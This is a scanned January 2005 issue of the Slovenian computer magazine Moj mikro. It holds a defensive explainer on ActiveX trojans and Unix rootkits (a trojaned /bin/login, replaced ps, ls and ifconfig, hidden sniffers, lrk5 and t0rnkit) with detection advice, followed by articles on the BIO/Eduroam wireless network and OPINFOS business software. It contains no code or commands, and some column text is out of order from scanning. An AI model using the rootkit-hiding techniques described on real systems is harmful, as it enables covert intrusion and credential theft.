brskalniki. V prejšnjih člankih smo že govorili
o kontrolnikih ActiveX, ki so Microsoftova tehnologija za distribucijo izvršilnih datotek prek interneta. Strežnik lahko s kontrolnikom ActiveX
namesti trojanskega konja prek vašega spletnega

KONKRETNO
hekerske metode (3. del)
brskalnika brez poprejšnjega obvestila, da se je
to zgodilo. Microsoft je seveda omogočil funkcijo, da se ActiveX namešča samo po poprejšnjem
preverjanju digitalnega podpisa, kar pa nemalo
uporabnikov nevede preprosto izključi.

odprto vprašanje: Ali lahko zaupam proizvajalcu
programske opreme? Vsekakor je odločitev vaša,
odvisna pa predvsem od trenutnih varnostnih
potreb posameznika ali organizacije.

OBRAMBA PRED TOVRSTNIMI NADLOGAMI

Trojanski konji, o katerih smo govorili doslej,
so posebni programi, ki jih napadalec doda sistemu, kjer nato opravljajo nalogo stranskih vrat.
Čeprav so tovrstni programi zelo uporabni, pa
je njihovo odkrivanje precej enostavno, saj jih
zaznajo tudi povprečni protivirusni programi.
Tradicionalne zbirke orodij, ki omogočajo in
obenem prikrivajo hekerske dejavnosti, imenovane rootkit (korenski komplet) so bolj prikrita
oblika trojanskih konjev, saj v sistem ne dodajajo
novih programov, temveč spremenijo obstoječe
sistemske izvršilne datoteke, s katerimi si tako
zagotovijo dostop v sistem. To lahko ponazorimo
z zastrupitvijo z jabolkom, pri čemer v jabolko ne
bi dodali strupa, temveč bi ga gensko spremenili
tako, da bi bilo za uporabnika smrtonosno.
Z zamenjavo sistemskih komponent so programi rootkit precej bolj razdiralni kot običajni
trojanski konji. V rabi so že desetletje, pri čemer
so bili prvotno rezervirani za hekersko elito, v
zadnjem času pa so vse bolj široko uporabljani,
čemur po vsej verjetnosti botruje enostavnost
njihove uporabe. V preteklosti so bili namenjeni
predvsem za sisteme Unix, v zadnjem času pa se
selijo tudi na Windows, kjer običajno zamenjajo
datoteke DLL (Dynamic Link Library) oz. kako
drugače spremenijo sistem.
V nasprotju s svojim imenom rootkit napadalcu ne omogoča pridobitve korenskega (root)
dostopa do sistema. Rootkit je uporaben za napadalca, ki že ima korenski dostop v tarčin sistem.
Ko je napadalec v sistemu, mu rootkit omogoča,
da ohrani svoj dostop do sistema in hkrati prikrije sledove vdora.
Kako rootkit odpre stranska vrata? Za razumevanje tovrstnih postopkov je treba najprej
razložiti, kaj se dogaja, ko vstopamo v tipičen sistem Unix. Ko se prijavljate v Unix (lokalno ali
oddaljeno), se zažene program /bin/login. Sistem
z njim preveri uporabniško ime in geslo oziroma
ali se uporabnikovi vneseni podatki skladajo z
datoteko, v kateri sistem hrani prave podatke
za dostop. Če se geslo ujema, program dovoli
uporabniku vstop v sistem. Rootkit v tem primeru zamenja program /bin/login s prilagojeno
različico, ki vključuje geslo za korenski dostop
do sistema. Tovrstna kompromitacija sistema
omogoča napadalcu, da dostopa v sistem tudi, če
skrbnik sistema izbriše gesla vseh uporabnikov.
Prvi znak, da je v sistemu nameščen rootkit, je
lahko rahlo spremenjen prijavni zaslon.
Za odkrivanje tovrstnih sprememb sistema
skrbniki sistemov Unix običajno pregledajo program bin/login s programom strings. Pri tovrstnem pregledu skrbnik išče morebitne neznane
vnose, ki bi bili lahko geslo za vstop. Pogosto
se namreč dogaja, da je geslo za korenski dostop
preprosto vneseno v /bin/login. Seveda pa tovrsten način odkrivanja poznajo tudi napadalci,
ki so začeli zaradi tega gesla drobiti po celotnem
bin/loginu, kar skrbnikom še dodatno oteži delo.

Minimalno zaščito bomo vzpostavili že s protivirusnim programom, ki naj bo seveda redno
(beri: vsakodnevno) varnostno posodabljan.
Vsak izmed opisanih trojanskih konjev programske ravni ima namreč določen način delovanja,
ki ga protivirusni programi ponavadi prepoznajo (ključi registra, specifične datoteke, zagnane
storitve ipd.). Čeprav tovrstni programi v resnici
niso virusi (se ne širijo na druge dokumente in
aplikacije), jih protivirusni programi zaznajo in
preprečijo njihovo izvršitev. Izogibajte se orodjem, katerih ponudnik zatrjuje, da boste z njimi
odstranili trojanske konje. Tovrstna orodja jih
namreč namesto, da bi jih odstranila, v resnici
namestijo.
Vsekakor pa spoznajte programe, ki jih imate
nameščene, pri čemer bodite pozorni predvsem
na njihovo poreklo. Če proizvajalca ne poznate,
imate v internetu izvrstno priložnost, da o njem
izveste kaj več. Kanček zdrave kmečke pameti
prepogosto pomeni več kot vsa varnostna orodja skupaj. V naslednji številki Mojega mikra si
bomo pogledali, kako napadalec prikrije svojo
prisotnost v sistemu in spremeni njegovo delovanje sebi v prid.

Digitalni odtisi in podpisi

Kako naj vem, da je program dejansko to, kar
mislim, da je? Pred časom so se razvijalci programske opreme domislili postopka, ki nam lahko zagotovi, da je program natanko to, kar je razvijalec dal na trg. Program, ki ga uporabnik prenese
iz interneta, je namreč lahko poprej spremenjen
v napadalcu prijaznejšo obliko in nato nastavljen
na spletno stran, kjer preži na žrtve. Zato mnogi
razvijalci programske opreme vključujejo možnosti preverjanja digitalnega odtisa programa in
tudi digitalnega podpisa razvijalca.
Digitalni prstni odtisi (digital fingerprint) tipično temeljijo na algoritmu MD5 (Message Digest 5), ki ga razvijalec programske opreme generira s programom md5sum. Md5sum je vključen
v večino operacijskih sistemov Linux. Razvijalec
nato prenese digitalni prstni odtis na varno mesto, ki je običajno spletna stran. Uporabnik lahko nato prav tako s programom md5sum preveri,
ali preneseni program ustreza prstnemu odtisu na
spletni strani ali ne. Na spletnem naslovu www.
rpmfind.net si lahko ogledate, kakšen je digitalni prstni dejansko videti (v tem primeru sniffer
tcpdump).
Proizvajalci pa so napravili še korak naprej in
nekateri programi vsebujejo tudi digitalni podpis. Proizvajalec lahko npr. s programom PGP
(Pretty Good Privacy) digitalno podpiše kodo
programa. Uporabnik lahko nato s programom,
združljivim s PGP-jem, oz. z Internet Explorerjem ugotovi, ali je program dejansko prišel od
proizvajalca v nespremenjeni obliki. Kljub vsem
opisanim postopkom pa nam še vedno ostane

Resnično nevarna zverina, imenovana rootkit

Ko napadalec zasede tarčin sistem in namesti
rootkit, običajno namesti še vohljača (sniffer), ki
mu omogoči pridobitev gesel in občutljivih podatkov drugih sistemov v omrežju. Tako si napadalec pridobi dostop do drugih povezanih sistemov
in širi svojo zlonamerno dejavnost. Zaradi uporabnosti vsebuje večina rootkitov tudi enostavnega
vohljača, ki prestreza prvih nekaj znakov vsake
povezave ter vse skupaj beleži v lokalno datoteko.
Napadalec poganja vohljača v ozadju, nato pa se
v nekem trenutku poveže v sistem, kjer pregleda
pridobljena uporabniška imena in gesla.
Sistemski skrbniki si lahko za odkrivanje nameščenih vohljačev pomagajo s programom ifconfig. Ta med drugim prikazuje omrežne adapterje v »promiskuitetnem« načinu, kar je prvi
znak nameščenega vohljača. Seveda pa napadalci ne želijo, da bi jih skrbnik tako enostavno
odkril, zato večina rootkitov vključuje trojansko
različico programa ifconfig, ki nato skrbniku
prikrije dejstva glede nameščenih vohljačev.
Rootkiti običajno poleg opisanih zamenjajo tudi
naslednje programe:
- Du (prikazuje uporabo diska in koliko
prostora je na voljo)
- Find (uporabniku dovoljuje iskanje datotek
idr. tudi po datumu spremembe)
- Ls (prikaže vsebino imenika)
- Netstat (prikazuje procese, ki poslušajo na
različnih vratih TCP in UDP)
- Ps (prikaže seznam delujočih procesov v
sistemu)
Nekatere različice rootkitov zamenjajo tudi syslogd in tako varnostnim datotekam onemogočijo
spremljanje napadalčevih dejavnosti. Vsi zgoraj
opisani programi so spremenjeni tako, da prikrivajo
napadalčeve dejavnosti pred razkritjem.
Najbolj znana rootkita sta prav gotovo lrk5
(Linux RootKit 5) in t0rnkit, ki sta namenjena
sistemom Linux, ob namestitvi pa med drugim zamenjata netstat, passwd, syslogd, inetd, killall ...

Kako se ubraniti pred tovrstnimi posegi

Za namestitev rootkita potrebuje napadalec
korenski dostop, kar pomeni, da bo najboljša obramba že to, da jim preprečite pridobitev
korenskega dostopa. Torej boste napadalcu v
veliki meri otežili delo že z uporabo kompleksnejših gesel, varnostno posodobljenim sistemom
in zapiranjem nepotrebnih vrat. Če ste sistemski
skrbnik, bi morala imeti vaša organizacija vsekakor izdelan varnostni program za ohranjanje
varnostne strukture.
Čeprav boste vaš sistem ohranjali pri življenju na zgoraj opisani način, pa to ne pomeni,
da napadalec ne more vstopiti v vaš sistem prek
katere od neznanih varnostnih lukenj in si tako
pridobiti korenski dostop. Zelo uporabna načina
za zaznavanje tovrstnih posegov sta namestitev
pregledovalnika celovitosti datotek (file integrity checker), kot je Tripwire, ki najdete na ftp.
cerias.purdue.edu/pub/tools/unix/ids/tripwire/,
ali uporaba podpisov PGP.


MOJ MIKRO 1 JANUAR 2005

43

KONKRETNO
projekt BIO

BREZŽIČNO IZOBRAŽEVALNO OMREŽJE
Z začetkom novega šolskega leta so na
petih fakultetah vseh treh slovenskih
univerz in enem šolskem centru
vzpostavili prva brezžična omrežja v
okviru pilotnega projekta. Zasnova
omrežij BIO omogoča dostopno,
zanesljivo, varno in enostavno uporabo
brezžičnih tehnologij.
Piše : Milan Simčič
milan.simcic@mojmikro.si

Photo Nokia

U

porabniki iz izobraževalne in raziskovalne sfere se že lahko povezujejo v
brezžična omrežja na različnih akademskih ustanovah z enim uporabniškim
imenom in geslom. Študentom, pedagoškim
delavcev, raziskovalcem in dijakom je tako
olajšan dostop do interneta, omogočene so
nove oblike dela in izobraževanja.
V okviru projekta BIO je ministrstvo za informacijsko družbo (MID) s sofinanciranjem
omogočil vzpostavitev brezžičnih omrežij na
Fakulteti za elektrotehniko, Fakulteti za matematiko in fiziko iz Univerze v Ljubljani,
Fakulteti za elektrotehniko, računalništvo in
informatiko in Fakulteti za organizacijske vede
iz Univerze v Mariboru, Pedagoški fakulteti iz

Univerze na Primorskem ter Srednješolskemu
centru Ptuj.
Vzpostavitev brezžičnih omrežij na slovenskih izobraževalnih in raziskovalnih ustanovah
je del vseevropskega projekta Eduroam, v okviru katerega poteka uvajanja novih tehnologij in zagotavljanja večje mobilnosti za študente in raziskovalce, ki ga koordinira TERENA
(Trans-European Research and Education
Networking Association) - Združenje nacionalnih evropskih in raziskovalnih omrežij.
Omrežja v tem trenutku že delujejo in jih zaposleni in študentje že lahko uporabljajo. Seveda pa je na začetku kar precej težav, saj vse
še ne deluje brezhibno, uporabniki pa se tudi
še niso privadili omrežja, ki je precej zaprto in
za vstop potrebujete posebnega odjemalca, ki
mora biti nameščen v računalniku, dlančniku,
telefonu. Ti odjemalci so odvisni od procesorja
v računalniku. Omrežje EDUROAM zato deluje brezhibno le z novimi procesorji Centrino
in operacijskim sistemom Windows XP. Linux
v tem trenutku še ni podprt, ker zanj še ni odjemalca. Starejši prenosniki pa potrebujejo
WLAN-kartico novejšega tipa, kar je seveda
dodaten strošek za uporabnike. Predvidevam,
da bodo do težavo sčasoma odpravili.
Na začetku je nekoliko težav z nastavitvami,
vendar potem vse deluje. Če ste prenosnik povezali v omrežje, potem bo tudi pri povezavi
v drugo ustanovo vse delovalo brez dodatnih
nastavitev.
Za mnenje smo povprašali na ARNES, ki je
v projektu sodeloval po tehnični plati in MID,
ki je podprl ta pilotni projekt. 

Preprosto in varno brezžično komuniciranje
Mnenje Arnesa o projektu BIO je podal tehnični direktor
Javnega zavoda ARNES mag. Avgust Jauk.
Kakšne so varnostne rešitve in kako bodo vplivale na delo uporabnikov?
V Arnesu se zavedamo, da je zagotavljanje ustrezne stopnje varnosti
uporabe v brezžičnih omrežjih še veliko pomembnejše kot v običajnih
»žičnih« omrežjih. Radijskim valovom je možno precej enostavno prisluškovati ter uporabnikom ukrasti njihova gesla. Resen problem je tudi
nepooblaščena uporaba, ki je pri običajnih omrežij precej težja, ker mora
zlikovec najprej pridobiti fizični dostop do omrežnega priključka, pri brezžičnih omrežjih pa je pogosto dovolj, da »ujame« radijski signal.
Zato smo iskali rešitev, ki bo preprosto in varno najprej omogočila ugotavljanje istovetnosti uporabnika, nato pa mu prek vzpostavljene brezžične povezave zagotavljala varno komuniciranje.
V zadnjih dveh letih smo preizkusili precej možnih prijemov in opreme.
Izkazalo se je, da šele varnostni protokol WPA zagotavlja ustrezen kompromis med varnostnimi zahtevami in ustrezno razširljivostjo na eni ter
enostavno vzpostavitvijo sistema in njegove uporabe na drugi strani. Ta
rešitev pomeni kakovosten preskok pri zagotavljanju varnosti v omrežjih
Wi-Fi. Proizvajalci so protokol hitro prevzeli, tako da je danes podprt pri
praktično vseh novih prenosnikih in brezžičnih omrežnih karticah. Eden
odločilnih dejavnikov v prid WPA je tudi dejstvo, da uporaba tega standarda omogoča prehod na novejši standard 801.11i. Ker WPA izpolnjuje
tudi zahteve za gostovanje (roaming) v okviru evropske pobude Eduroam,

44

MOJ MIKRO 1 JANUAR 2005

smo ga izbrali kot osnovo za slovensko brezžično izobraževalno in raziskovalno omrežje, ki ga vzpostavljamo v okviru projekta BIO.
Izbrana rešitev uporabnikom ne zagotavlja zgolj varne uporabe brezžičnega dela omrežja, temveč tudi varovan priklop v omrežje. Med prijavo v
omrežje se med uporabnikovo mobilno napravo ter overovitvenim strežnikom vzpostavi šifriran tunel. Skozi tunel se uporabniško ime in geslo varno preneseta do strežnika. Če gre za uporabnika iz druge organizacije, sega
tunel od odjemalca v njegovi mobilni napravi do overovitvenega strežnika
v njegovi domači organizaciji. Domači strežnik preveri uporabnikovo istovetnost in sporoči strežniku organizacije, kjer uporabnik poskuša uporabiti
omrežje WLAN, ali se ga sme spustiti v omrežje. Ker uporabniku poleg
začetnih nastavitev ni treba za gostovanje nastaviti ničesar več, omrežja
delujejo kot eno samo omrežje, omrežje BIO. Slika prikazuje preverjanje istovetnosti uporabnika preko šifriranje tunela. Postopek je pravzaprav dvosmeren: strežnik preveri istovetnost uporabnika na osnovi uporabniškega
imena in gesla, uporabnik pa preveri strežnikov certifikat.

KONKRETNO
projekt BIO

Končni cilj projekta so vse visoke in srednje šole
Mnenje MID-a o projektu BIO je podal dr. Miroslav Kranjc, sekretar na MID-u, vodja
sektorja za tehnološke naloge in vodja projekta BIO na MID-u.
Kako in zakaj ste se letos odločili za pilotni projekt BIO?
Brezžična akademska omrežja v Sloveniji
so le del vseevropskega projekta Eduroam,
ki zagotavlja gostovanje upravičenih uporabnikov akademskih omrežij na različnih akademskih ustanovah v večjem delu Evrope.
Letos smo se v MID-u, na Arnesovo pobudo,
prvič odločili za sofinanciranje postavitve
pilotskih brezžičnih omrežij v izobraževalnih
ustanovah, natančneje, na petih visokošolskih zavodih in v enem šolskem centru.
Omeniti moramo zelo dobro, partnersko in
kompetentno sodelovanje Arnesa, katerega
strokovnjaki so močno vpeti v mednarodne
tehnološke projekte, in ki so s svojim znanjem in veliko truda, skupaj s strokovnjaki
posameznih prejemnikov sofinanciranja tudi
izpeljali celoten projekt.
Zaradi najnovejših trendov, ki nedvoumno
kažejo, da so brezžične tehnologije vse bolj
na pohodu v različnih uporabniških izvedbah in tudi zaradi racionalnejše izrabe javnih
sredstev, smo dosedanje letne javne razpise v
okviru projekta Akademska omrežja in vsebine (AOV) nadomestili z letošnjim javnim
razpisom za BIO. Za nakup potrebne strojne
opreme za vzpostavitev ali nadgradnjo brezžičnih omrežij smo tako v okviru javnega
razpisa namenili 18 milijonov slovenskih
tolarjev, pri čemer finančni prispevek MID-a

obsega približno tri četrtine celotne vrednosti
posameznega projekta. Med opremo, ki jo je
sofinanciral MID, sodijo strežniki, dostopne
točke in stikala ethernet, ki morajo ustrezati
posebej v razpisni dokumentaciji določenim
standardom in merilom, ki hkrati tudi zagotavljajo izpolnjevanje tehničnih in varnostnih
meril za vključitev v omrežje Eduroam.
Kaj so ključni cilji projekta BIO in komu
je namenjen?
Cilj pilotnega projekta je zagotoviti varno
in hitro povezavo mobilnim uporabnikom
različnih akademskih omrežij. Pilotni projekt
BIO – Brezžična izobraževalna omrežja prinaša v slovenski prostor pomembno tehnološko-organizacijsko in ponudbeno novost, saj
gre za uvajanje sodobnih in varnih brezžičnih
internetnih sistemov v slovensko visokošolsko
področje, s čimer Slovenija sledi trendom v informacijsko najrazvitejših državah. Pomembna
značilnost projekta BIO je v tem, da temelji
na prosti in odprti programski zasnovi, kar zagotavlja tudi več drugih pozitivnih učinkov,
kot so denimo manjši stroški pri nadaljnji redistribuciji že razvitih rešitev v naslednja nova
brezžična izobraževalna omrežja, skladno s cilji in načeli Politike vlade RS do programske
opreme, temelječe na odprti kodi, predvsem
pa zagotavljanje brezplačnega dostopa za študente, profesorje in raziskovalce in možnosti

V okviru omrežja BIO je poskrbljeno tudi za ustrezne mehanizme za beleženje dogodkov, kar omogoča sledenje morebitnim zlorabam.
Osnovna navodila in podatki o omrežju BIO so za uporabnike na voljo
na www.eduroam.si
Izbrana rešitev ima tudi slabost. Zastarele opreme, ki ne podpira WPA,
uporabniki ne morejo uporabiti za priklop v omrežje BIO. Tovrstna oprema jim torej ne omogoča popolne mobilnosti oz. gostovanje, to je uporabe
brezžičnega omrežja v drugih organizacijah, ki so članice BIO. Še vedno
pa jim lahko rabi mobilno omrežje lastne organizacije. Dostopne točke, ki
ustrezajo zahtevam BIO, namreč omogočajo hkratno delovanje več načinov uporabe oz. več varnostnih režimov hkrati. Seveda pa morajo uporabniki s takšno zastarelo upremo še vedno poskrbeti za lastno varnost, npr.
tako, da v svojo mobilno napravo namestijo odjemalca VPN in vzpostavijo
šifriran tunel do strežnika VPN. V nasprotnem primeru bodo še vedno izpostavljeni vsem nevarnostim komuniciranja prek nezaščitenega oz. slabo
zaščitenega brezžičnega omrežja.
Katere so glavne značilnosti omrežij BIO?
Cilji pri razvoju rešitve so bili: enostavna uporaba, zagotavljanje varnosti, podpora mobilnosti uporabnikov ter prepustnost. Te cilje smo dosegli z
uporabo varnostnega protokola WPA in 802.11g, ter vzpostavitvijo enotne
infrastrukture za preverjanje istovetnosti uporabnikov (AAI ang. Authentication Authorization Infrastructure), ki je skladna z zahtevami evropske
pobude Eduroam.
Upravičeni uporabniki bodo imeli prek omenjene infrastrukture omo-

vzajemnega gostovanja. Rešitve, ki jih bomo
uporabili pri vzpostavitvi teh omrežij, so razvili posamezniki in ustanove po vsem svetu.
Rešitve, ki jih bomo razvili v okviru tega projekta, so zato v enakem duhu in namenu na
voljo vsem.
Katere so posebne značilnosti projekta,
kateri so ključni poudarki in novosti, ki jih
projekt BIO prinaša?
Ključni poudarek je na uporabi varnih
brezžičnih tehnologij (WPA), ki omogočajo
overjanje in avtorizacijo rabe virov na gostiteljskem omrežju. Pomemben vidik projekta
je tudi širjenje znanja o postavitvi tovrstnih
omrežij tudi na posamezne ustanove, ki so
tovrstna omrežja vzpostavile in jih bodo v
prihodnje morale tudi vzdrževati in nadgrajevati. Zato smo v okviru razpisa zahtevali, da
prijavitelji pri postavitvi omrežij sodelujejo z
lastnimi kadri, ki pa jim dodatno strokovno
pomoč ponuja Arnes s svojimi strokovnjaki.
Pilotna postavitev šestih omrežij tako zagotavlja dovolj širok nabor ljudi, ki so pridobili
konkretne izkušnje s postavitvijo tovrstnih
omrežij, in ki bodo v nadaljevanju lahko
pridobljena znanja in izkušnje delili tudi z
drugimi poznejšimi pristopniki k projektu
Eduroam. Cilj MID-a je, da bi imele v nekaj
letih vse visokošolske, in tudi čim več srednješolskih organizacij, možnost gostovanja
mobilnih uporabnikov na lokacijah njihovih
ustanov.



gočen dostop do raznih internetnih ali drugih virov z enim uporabniškim
imenom in geslom, in to ne glede na lokacijo vira ali uporabnika. Ustanove bodo lahko tako določile, kateri njihovi ali gostujoči uporabniki imajo dostop do omrežja, tiskalnikov, omrežnih diskov, varovanih spletnih
strani ali računalniških virov v okviru GRID. Podobne sisteme razvijajo
tudi v drugih evropskih raziskovalnih in izobraževalnih omrežjih, zelo napredni pri teh tehnologijah pa so tudi na Hrvaškem.
Infrastruktura, ki jo vzpostavljamo v okviru projekta BIO, bo v prihodnje omogočila tudi lažji prehod na brezžične standarde prihodnosti, kot so
standard 802.11i z izboljšano varnostjo, 802.11e za prenos multimedijskih
vsebin ter 802.11n, ki bo omogočil hitrosti do 135 Mb/s in je združljiv s
standardom 802.11g, ki je osnova omrežja BIO.
Kaj morajo zagotoviti ustanove, da bi se vključile v shemo gostovanja?
Ustanove, ki pristopijo k shemi gostovanja morajo vzpostaviti ustrezne imenike (LDAP), strežnike za ugotavljanje istovetnosti uporabnikov
(RADIUS) in dostopne točke. Poskrbeti morajo za posodabljanje podatkov o svojih uporabnikih ter seveda za delovanje sistema in pomoč
svojim uporabnikom. Celotna postavitev mora biti v skladu s tehničnimi
zahtevami projekta BIO.
Celotno rešitev (razen potrebnih dostopnih točk, stikal in računalnikov) smo zasnovali na odprti kodi, ki smo jo ustrezno dopolnili in povezali
v delujočo celoto. Organizacijam, ki bi se želele vključiti v omrežje BIO,
na Arnesu ponujamo tehnična navodila in vzorčne nastavitve. 
MOJ MIKRO 1 JANUAR 2005

45

KONKRETNO
rešitve v slovenski informatiki: OPINFOS SQL NET

ODPRT POSLOVNI PROGRAM
ZA VSAKO OKOLJE
Programski paket OPINFOS SQL NET ponuja s priloženim odprtokodnim operacijskim
sistemom in zbirko pisarniških programov večino zmožnosti, ki jih potrebuje malo
podjetje za uspešno informatizirano poslovanje.
Piše : Jaka Žor ž
jaka.zorz@mojmikro.si

O

PINFOS je kot razvijalec poslovnih
aplikacij širši javnosti še nepoznan,
vendar njegovo poslovno aplikacijo
OPINFOS SQL NET uporablja prek
10.000 uporabnikov. Podjetje je pri razvoju
programske opreme zvesto načelom odprte
kode, pri čemer si prizadeva za oblikovanje od
operacijskega sistema neodvisne programske
opreme. S tem predvsem manjšim podjetjem
in samostojnim podjetnikom omogočajo oblikovanje sistema za podporo poslovanju, ki v
celoti uresničuje njihove zahteve.
Poslovna aplikacija OPINFOS SQL NET
je zgrajena na dvonivojski arhitekturi odjemalec-strežnik. Uporablja
odprtokodni podatkovni
strežnik FireBird, po želji
naročnika pa tudi katerokoli drugo relacijsko
zbirko podatkov, vključno
z MySQL. Aplikacijo so
najprej razvili v razvojnem okolju Kylix, zdaj pa
poteka razvoj nove različice OPINFOS SQL NET
2.00 z orodjem Lazarus. V
podjetju pripravljajo tudi
večjezično različico aplikacije s podporo večini
svetovnih jezikov.
OPINFOS SQL NET
trenutno deluje na vseh
operacijskih sistemih Linux ter Microsoftovih
Windows 95 OSR, Windows 98 SE, Windows
Millenium, Windows 2000 in Windows XP.
V nadaljevanju bo aplikacija delovala tudi na
vseh operacijskih sistemih Mac OS X, OS/2
in FREEBSD. Prihajajoča različica OPINFOS
SQL NET 2.00, ki jo v Opinfosu napovedujejo v roku enega meseca, bo tako že podpirala
operacijske sisteme Apple. Za učinkovito delovanje program zahteva najmanj procesor s
hitrostjo 400 MHz.

UPORABA VEČ OPERACIJSKIH SISTEMOV

Za zahtevnejše uporabnike je mogoče vzporedno namestiti operacijska sistema Windows
in Linux, pri čemer se zagon operacijskega sistema izbere ob zagonu računalnika. Rešitev je
primerna za tiste uporabnike, ki potrebujejo

46

MOJ MIKRO 1 JANUAR 2005

vedbah proizvajalca se najbolje obnese Windows 2000, lahko pa se namešča še Windows
98 SE, Windows Millenium ali Windows XP.
Vsi omenjeni operacijski sistemi, pa tudi DOS,
se zelo dobro obnašajo v Linuxu. Na VMware
je moč namestiti tudi vse druge aplikacije za
okolja Windows in DOS. V tako nameščene
Windows se lahko namesti tudi bančne aplikacije, ki pa jih je treba dodatno zaščititi vsaj
s protivirusnimi in protivohunskimi programi.
Pri zadostni količini pomnilnika je lahko operacijski sistem Windows
stalno vklopljen, tako da
lahko uporabnik kadarkoli
dostopa do e-bančne aplikacije, četudi ta ne podpira okolij Linux.

OPINFOS SGL NET V
OMREŽJU

V omrežnem okolju
se povezavo odjemalca
v datotečni strežnik, ki
je lahko bodisi v okolju
Windows bodisi v Linux,
izvede z enkratnim vnosom strežnikovega URLja. Tako je moč oddaljene
računalnike s strežnikom
prek interneta povezati

praktično od koderkoli, pri čemer je vseeno,
kateri od podprtih operacijskih sistemov je nameščen v odjemalčevem računalniku. Program
s številom uporabnikov in količino podatkov
ni omejen.
operacijski sistem Windows, recimo za uporabo zahtevnejših grafičnih ali video aplikacij, ki
so jih usvojili v okolju Windows. OPINFOS
SQL NET je tako možno uporabljati v vseh
nameščenih sistemih v enem PC-ju, pri čemer je zbirka podatkov na enem mestu, na primer v particiji Windows FAT32 ali v Linuxovi
particiji, vedno pa se dostopa do iste zbirke.
Namestitev na operacijski sistem Linux poteka enostavno, s pomočjo čarovnika (enako kot
v Windows), le datotečni strežnik je treba namestiti ročno. Operacijski sistem Windows je
možno namestiti tudi na virtualizacijski strežnik VMware v operacijskem sistemu Linux, le
je za to potrebno nekaj več pomnilnika – vsaj
500 MB. Ta možnost je uporabna za aplikacije,
ki so narejene samo za okolje Windows. Po na-

ZMOŽNOSTI ZA POSLOVANJE

OPINFOS SQL NET kot poslovna aplikacija ponuja praktično vse, kar potrebuje manjše
podjetje za spremljanje poslovanja. Uporabniku prijazen in izredno intuitiven grafični
vmesnik omogoča hitro delo in učinkovit pregled nad poslovanjem.
Grafični vmesnik je razdeljen na menijsko
vrstico, glavno okno, kjer se prikazuje seznam
vseh vnosov, in na podokno, kamor se vpisujejo opombe za izbrano postavko, ki se nato
upoštevajo pri obdelavi faktur. Na dnu zaslona so gumbi s povezavami na izbrana spletna
mesta, kot so ponudba strojne in programske
opreme, brezplačni oglasi, klepetalnica, pomoč
uporabnikom ter gostinsko-turistična zbirka
Freetime Slovenija.

KONKRETNO
rešitve v slovenski informatiki: OPINFOS SQL NET
V meniju Hitra izbira lahko uporabnik
ustvari vnos za nov račun oziroma ponudbo,
blagajniški prejemek, naročilnico, reverz, dobavnico ali opomnik. Poleg tega lahko vnesejo
podatke za različne naloge, kot so delovni nalog, prevoznica, službeno potovanje ter potni
nalog za prevoz oseb oziroma tovora. V tem
meniju je možnost za ustvaritev nove stranke,
pregledovanje prejetih in plačanih računov
ter pregled računov in ponudb. Uporabniki
imajo na voljo tudi dnevnik, kamor vpisujejo

dnevne dogodke, ter aplikacijo za osnovno vodenje
kadrov. Slednja rabi še za
obvladovanje uporabniških pravic ter nastavljanje uporabniških imen in
gesel.
V meniju OPINFOS
poslovanje so klasične
zmožnosti za obvladovanje računov, vnos in vodenje naročilnic, dobavnic, reverzov, nalogov ter
blagajniških prejemkov.
Uporabniki lahko po vseh
dokumentih iščejo prek
iskanega besedila, pri čemer lahko vse dokumente, ki so v glavnem oknu,
razvrščajo glede na komercialista, šifro in ime
stranke, naslov, kraj, lokacijo, kontaktno
osebo, popust ter podobno. V meniju lahko
uporabniki pregledujejo podatke o prejeti in
oddani pošti ter shranjujejo poslovne dokumente v posebne mape strank. Večino dokumentov oziroma zapise v zbirkah podatkov je
možno natisniti, pri čemer so formati izpisov
že vdelani v program, možno pa je uporabiti
tudi obrazce, oblikovane v zbirki OpenOffice.
org.
Poleg menija Opomniki za upravljanje z
opomniki in Pomoč je na voljo še meni Konfiguracija, ki je namenjen določanju osnovnih
nastavitev programa. Z ukazom Nastavitve se
odpre okno z zavihki za nastavljanje osnovnih podatkov za položnico, šifrant popustov,

opombe, stanje pošiljk in tipa strank, skladiščne postavke ter osnovne podatke podjetja. V
zavihku za splošne nastavitve se poleg privzetega spletnega brskalnika in pregledovalnika
datotek lahko določi tudi posebna mapa na
disku, kjer se samodejno ustvarjajo podmape
strank. V te mape nato uporabnik shranjuje
dokumente in druge datoteke v povezavi z
določeno stranko in jih enostavno prikliče s
desnim klikom na izbrano stranko v glavnem
oknu.

odpirajo v OpenOffice.org, kar dodatno omogoča njihov prenos v katerikoli sistem.

RAZVOJ RAČUNOVODSTVA
ZA WINDOWS IN LINUX

Cilj podjetja OPINFOS je dokončanje programa za računovodstvo, ki poleg okolij Windows podpira tudi Linux. Prednosti takšnega
programa se kažejo predvsem v tem, da se bodo
lahko računovodski servisi povezovali s svojimi strankami povsem nemoteno in brez zasto-

jev prek interneta, neodvisno od uporabljene
sistemske programske opreme. Opinfosov
računovodski program bo zastavljen tako, da
bodo deli zbirk podatkov povezani z računovodskim servisom sinhrono, prek interneta.
Tako bodo vsi potrebni in želeni podatki dostopni obema strankama v stvarnem času. V
teku je tudi nadgraditev zmožnosti za podporo
skladiščnemu poslovanju s kosovnicami. Interes za izdelavo dodatne aplikacije je že pokazala
pohištvena proizvodnja.

LICENČNI

POVEZAVA Z OPENOFFICE.ORG

OPINFOS v svojem programskem paketu
poleg aplikacije OPINFOS SQL NET dodaja operacijski sistem Mandrake Linux 10.1
in pisarniško zbirko OpenOffice.org, s čimer
uporabnik v malem podjetju ali samostojni
podjetnik na enem mestu dobi vse potrebno za
začetek poslovanja. Aplikacija je ob tem povezana s pisarniško zbirko, kar uporabnikom
omogoča tiskanje podatkov na že pripravljene
dokumente. Uporabniki namreč lahko sami,
brez programerskih posegov, vnaprej pripravijo
vse vrste poslovnih dokumentov, opremljenih
z grafiko in besedilom, ki jih nato natisnejo s
svojim tiskalnikom brez dodatnih stroškov za
prednatisnjene dokumente. Poleg tega se vse
zbirke podatkov programa lahko prenašajo in

Licenčni model za OPINFOS SQL NET je
oblikovan tako, da se lahko program razmnožuje prek interneta ter drugih medijev. Kot
»shareware« ponuja 30-dnevno brezplačno
uporabo polno delujoče različice, zatem pa je
treba program kupiti in se registrirati. Program
sicer po 30 dneh ne preneha delovati, razen
vrhnjih skrbniških pravic. Vsak legalno registriran programi OPINFOS SQL NET namreč
omogoča tudi vrhnje skrbniške pravice, s katerimi se določa pravice posameznih uporabnikov in gesla za dostop v krajevnem oziroma internetnem omrežju. V program ni nameščena
vohunska programska oprema, ki bi odkrivala
neregistrirane uporabnike, saj se bodo v Opinfosu proti nelegalni uporabi svoje programske
opreme bojevali s pravnimi sredstvi in z lastno
protipiratsko skupino.


MOJ MIKRO 1 JANUAR 2005

47

TEMA MESECA
PC TV

NAJ KAR
